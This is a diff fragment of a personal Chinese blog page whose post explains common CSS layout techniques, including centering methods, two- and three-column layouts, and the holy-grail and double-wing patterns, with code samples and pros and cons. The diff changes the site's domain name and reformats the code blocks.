+absolute+transform"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/24/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T13:23:00+00:00"><meta property="article:modified_time" content="2021-06-16T13:23:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css常见布局"><meta name=twitter:description content="居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css常见布局","item":"https://xiaochenabc123.github.io/posts/24/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css常见布局","name":"css常见布局","description":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{\rtext-align: center;\r// 父元素，文本内容居中对齐\r}\r.child{\rdisplay: inline-block;\r// 子元素，行内块级元素\r}\r优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{\rdisplay: table; // 也可以为block\rmargin: 0 auto;\r// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）\r}\r优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{\rposition: relative; // 父元素相对定位\r}\r.child{\rposition: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的\rleft: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）\r}\r优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{\r// 父元素\rdisplay: table-cell;\rvertical-align: middle; // 设置文本的垂直方向对齐方式\r}\r优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform","keywords":["css"],"articleBody":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{\rtext-align: center;\r// 父元素，文本内容居中对齐\r}\r.child{\rdisplay: inline-block;\r// 子元素，行内块级元素\r}\r优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{\rdisplay: table; // 也可以为block\rmargin: 0 auto;\r// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）\r}\r优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{\rposition: relative; // 父元素相对定位\r}\r.child{\rposition: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的\rleft: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）\r}\r优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{\r// 父元素\rdisplay: table-cell;\rvertical-align: middle; // 设置文本的垂直方向对齐方式\r}\r优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform\n#app{\rposition: relative;\r}\r.child{\rposition: absolute;\rtop: 50%;\rtransform: translateY(-50%);\r}\r优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n水平垂直居中：水平方向居中，也要垂直方向居中\ntable+margin（水平），table-cell+vertical-algin（垂直）\nabsolute+transform\n#app{\rposition: relative;\r}\r.child{\rposition: absolute;\rtop: 50%;\rleft: 50%;\rtransform: translate(-50%,-50%);\r}\r多列布局（两列布局+三列布局+CSS3 多列布局）\n两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）\nfloat+margin\n.left{\rwidth: 100px;\rfloat: left;\r}\r.right{\rmargin-left: 100px;\r}\r优点：简单\n缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致\n或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px\nfloat+overflow\n.left{\rwidth: 100px;\rfloat: left;\r}\r.right{\roverflow: hidden;\r}\r优点：简单\n缺点：overflow属性会导致内容溢出（BFC）\ndisplay：table\n#app{\rdisplay: table;\rtable-layout: fixed;\r}\r.left{\rwidth: 100px;\r}\r.left,.right{\rdisplay: table-cell;\r}\r优点：浏览器兼容性好\n缺点：父元素的display属性设置为table，会受到制约\n三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区\n效果实现和二列一样\n圣杯布局\n头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）\n中间部分一般是三栏中最高的（因为是内容区）\nfloat\n头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面\n三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）\nleft栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度\nright栏right，值为负的right高度，margin-left，值为负的right高度\n例如：\n头部\r中间\r左\r右\r底部\rflex\n用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;\n优点：简单，不需要设置dom\n缺点：（flex）浏览器兼容性比较差\n双飞翼布局\n双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列\n三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度\n例如：\n头部\r中间\r左\r右\r底部\r其他布局\n等分布局：子元素平均分配父元素的宽度\n等高布局：子元素在父元素中高度相等\n全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）\n侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开\n吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局\n九宫格布局\n","wordCount":"364","inLanguage":"en","datePublished":"2021-06-16T13:23:00Z","dateModified":"2021-06-16T13:23:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/24/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>css常见布局</h1><div class=post-meta><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/css%e5%b8%b8%e8%a7%81%e5%b8%83%e5%b1%80.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>居中布局</p><p>分水平居中和垂直居中，水平+垂直居中</p><p>水平居中：当前元素在父级元素容器中，水平方向是居中显示的</p><p>inline-block+text-algin</p><pre><code>#app{
-    text-align: center;
-    // 父元素，文本内容居中对齐
-}
-.child{
-    display: inline-block;
-    // 子元素，行内块级元素
-}
-</code></pre><p>优点：浏览器兼容性好（css2）</p><p>缺点：text-align具有继承性，会导致子元素的文本也是居中的</p><p>table+margin</p><pre><code>.child{
-    display: table; // 也可以为block
-    margin: 0 auto;
-     // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
-}
-</code></pre><p>优点：只需要对子元素设置，就可以实现效果</p><p>缺点：如果子元素脱离正常流，将会导致margin属性的值无效化</p><p>absolute+transform</p><pre><code>#app{
-    position: relative; // 父元素相对定位
-}
-.child{
-    position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
-    left: 50%; // 相对于父元素左边50% 
-    transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
-}
-</code></pre><p>优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果</p><p>缺点：transform属性是css3的新属性，浏览器兼容性比较差</p><p>垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的</p><p>table-cell+vertical-algin</p><pre><code>#app{
-    // 父元素
-    display: table-cell;
-    vertical-align: middle; // 设置文本的垂直方向对齐方式
-}
-</code></pre><p>优点：浏览器兼容性好</p><p>缺点：vertical-align属性具有继承性</p><p>absolute+transform</p><pre><code>#app{
-    position: relative;
-}
-.child{
-    position: absolute;
-    top: 50%;
-    transform: translateY(-50%);
-}
-</code></pre><p>优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果</p><p>缺点：transform属性是css3的新属性，浏览器兼容性比较差</p><p>水平垂直居中：水平方向居中，也要垂直方向居中</p><p>table+margin（水平），table-cell+vertical-algin（垂直）</p><p>absolute+transform</p><pre><code>#app{
-    position: relative;
-}
-.child{
-    position: absolute;
-    top: 50%;
-    left: 50%;
-    transform: translate(-50%,-50%);
-}
-</code></pre><p>多列布局（两列布局+三列布局+CSS3 多列布局）</p><p>两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）</p><p>float+margin</p><pre><code>.left{
-    width: 100px;
-    float: left;
-}
-.right{
-    margin-left: 100px;
-}
-</code></pre><p>优点：简单</p><p>缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致</p><p>或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px</p><p>float+overflow</p><pre><code>.left{
-    width: 100px;
-    float: left;
-}
-.right{
-    overflow: hidden;
-}
-</code></pre><p>优点：简单</p><p>缺点：overflow属性会导致内容溢出（BFC）</p><p>display：table</p><pre><code>#app{
-    display: table;
-    table-layout: fixed;
-}
-.left{
-    width: 100px;
-}
-.left,.right{
-    display: table-cell;
-}
-</code></pre><p>优点：浏览器兼容性好</p><p>缺点：父元素的display属性设置为table，会受到制约</p><p>三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区</p><p>效果实现和二列一样</p><p>圣杯布局</p><p>头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）</p><p>中间部分一般是三栏中最高的（因为是内容区）</p><p>float</p><p>头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面</p><p>三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）</p><p>left栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度</p><p>right栏right，值为负的right高度，margin-left，值为负的right高度</p><p>例如：</p><pre><code>&lt;style&gt;
-    header{
-        max-width: 100%;
-        height: 100px;
-        background-color: aqua;
-        text-align: center;
-    }
-    footer{
-        max-width: 100%;
-        height: 100px;
-        background-color: aquamarine;
-        text-align: center;
-    }
-    main{
-        overflow: hidden; 
-        padding-left: 20%;
-        padding-right: 20%;
-    }
-    main div{
-        float: left;
-        position: relative;
-        text-align: center;
-    }
-    .center{
-        width: 100%;
-        height: 600px;
-        background-color: blue;
-    }
-    .left{
-        height: 300px;
-        width: 100px;
-        background-color: azure;
-        margin-left: -100%;
-        left: -100px;
-    }
-    .right{
-        height: 300px;
-        width: 100px;
-        background-color: bisque;
-        right: -100px;
-        margin-left: -100px;
-    }
-&lt;/style&gt;
-&lt;header&gt;
-    头部
-&lt;/header&gt;
-&lt;main&gt;
-    &lt;div class=&quot;center&quot;&gt;
-        中间
-    &lt;/div&gt;
-    &lt;div class=&quot;left&quot;&gt;
-        左
-    &lt;/div&gt;
-    &lt;div class=&quot;right&quot;&gt;
-        右
-    &lt;/div&gt;
-
-&lt;/main&gt;
-&lt;footer&gt;
-    底部
-&lt;/footer&gt;
-</code></pre><p>flex</p><p>用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;</p><p>优点：简单，不需要设置dom</p><p>缺点：（flex）浏览器兼容性比较差</p><p>双飞翼布局</p><p>双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列</p><p>三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度</p><p>例如：</p><pre><code>&lt;style&gt;
-    header{
-        max-width: 100%;
-        height: 100px;
-        background-color: aqua;
-        text-align: center;
-    }
-    footer{
-        max-width: 100%;
-        height: 100px;
-        background-color: aquamarine;
-        text-align: center;
-    }
-    main{
-        text-align: center;
-        overflow: hidden;
-    }
-    
-    .center{
-        width: 100%;
-        height: 600px;
-        background-color: blue;
-        float: left;
-    }
-    .center div{
-        margin: 0 100px 0 100px;
-    }
-    .left{
-        height: 300px;
-        width: 100px;
-        background-color: azure;
-        float: left;
-        margin-left: -100%;
-    }
-    .right{
-        height: 300px;
-        width: 100px;
-        background-color: bisque;
-        float: left;
-        margin-left: -100px;
-    }
-&lt;/style&gt;
-&lt;header&gt;
-    头部
-&lt;/header&gt;
-&lt;main&gt;
-    &lt;div class=&quot;center&quot;&gt;
-        &lt;div&gt;
-            中间
-        &lt;/div&gt;
-    &lt;/div&gt;
-    &lt;div class=&quot;left&quot;&gt;
-        左
-    &lt;/div&gt;
-    &lt;div class=&quot;right&quot;&gt;
-        右
-    &lt;/div&gt;
-
-&lt;/main&gt;
-&lt;footer&gt;
-    底部
-&lt;/footer&gt;
-</code></pre><p>其他布局</p><p>等分布局：子元素平均分配父元素的宽度</p><p>等高布局：子元素在父元素中高度相等</p><p>全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）</p><p>侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开</p><p>吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局</p><p>九宫格布局</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/26/><span class=title>« Prev</span><br><span>简单搭建一个hexo博客</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/23/><span class=title>Next »</span><br><span>vuejs基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+absolute+transform"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"css常见布局","item":"https://chenjunlinabc.github.io/posts/24/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"css常见布局","name":"css常见布局","description":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform","keywords":["css"],"articleBody":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform\n#app{ position: relative; } .child{ position: absolute; top: 50%; transform: translateY(-50%); } 优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n水平垂直居中：水平方向居中，也要垂直方向居中\ntable+margin（水平），table-cell+vertical-algin（垂直）\nabsolute+transform\n#app{ position: relative; } .child{ position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); } 多列布局（两列布局+三列布局+CSS3 多列布局）\n两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）\nfloat+margin\n.left{ width: 100px; float: left; } .right{ margin-left: 100px; } 优点：简单\n缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致\n或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px\nfloat+overflow\n.left{ width: 100px; float: left; } .right{ overflow: hidden; } 优点：简单\n缺点：overflow属性会导致内容溢出（BFC）\ndisplay：table\n#app{ display: table; table-layout: fixed; } .left{ width: 100px; } .left,.right{ display: table-cell; } 优点：浏览器兼容性好\n缺点：父元素的display属性设置为table，会受到制约\n三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区\n效果实现和二列一样\n圣杯布局\n头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）\n中间部分一般是三栏中最高的（因为是内容区）\nfloat\n头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面\n三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）\nleft栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度\nright栏right，值为负的right高度，margin-left，值为负的right高度\n例如：\n头部 中间 左 右 底部 flex\n用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;\n优点：简单，不需要设置dom\n缺点：（flex）浏览器兼容性比较差\n双飞翼布局\n双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列\n三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度\n例如：\n头部 中间 左 右 底部 其他布局\n等分布局：子元素平均分配父元素的宽度\n等高布局：子元素在父元素中高度相等\n全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）\n侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开\n吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局\n九宫格布局\n","wordCount":"364","inLanguage":"en","datePublished":"2021-06-16T13:23:00Z","dateModified":"2021-06-16T13:23:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/24/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>css常见布局</h1><div class=post-meta><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/css%e5%b8%b8%e8%a7%81%e5%b8%83%e5%b1%80.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>居中布局</p><p>分水平居中和垂直居中，水平+垂直居中</p><p>水平居中：当前元素在父级元素容器中，水平方向是居中显示的</p><p>inline-block+text-algin</p><pre><code>#app{
+    text-align: center;
+    // 父元素，文本内容居中对齐
+}
+.child{
+    display: inline-block;
+    // 子元素，行内块级元素
+}
+</code></pre><p>优点：浏览器兼容性好（css2）</p><p>缺点：text-align具有继承性，会导致子元素的文本也是居中的</p><p>table+margin</p><pre><code>.child{
+    display: table; // 也可以为block
+    margin: 0 auto;
+     // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
+}
+</code></pre><p>优点：只需要对子元素设置，就可以实现效果</p><p>缺点：如果子元素脱离正常流，将会导致margin属性的值无效化</p><p>absolute+transform</p><pre><code>#app{
+    position: relative; // 父元素相对定位
+}
+.child{
+    position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
+    left: 50%; // 相对于父元素左边50% 
+    transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
+}
+</code></pre><p>优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果</p><p>缺点：transform属性是css3的新属性，浏览器兼容性比较差</p><p>垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的</p><p>table-cell+vertical-algin</p><pre><code>#app{
+    // 父元素
+    display: table-cell;
+    vertical-align: middle; // 设置文本的垂直方向对齐方式
+}
+</code></pre><p>优点：浏览器兼容性好</p><p>缺点：vertical-align属性具有继承性</p><p>absolute+transform</p><pre><code>#app{
+    position: relative;
+}
+.child{
+    position: absolute;
+    top: 50%;
+    transform: translateY(-50%);
+}
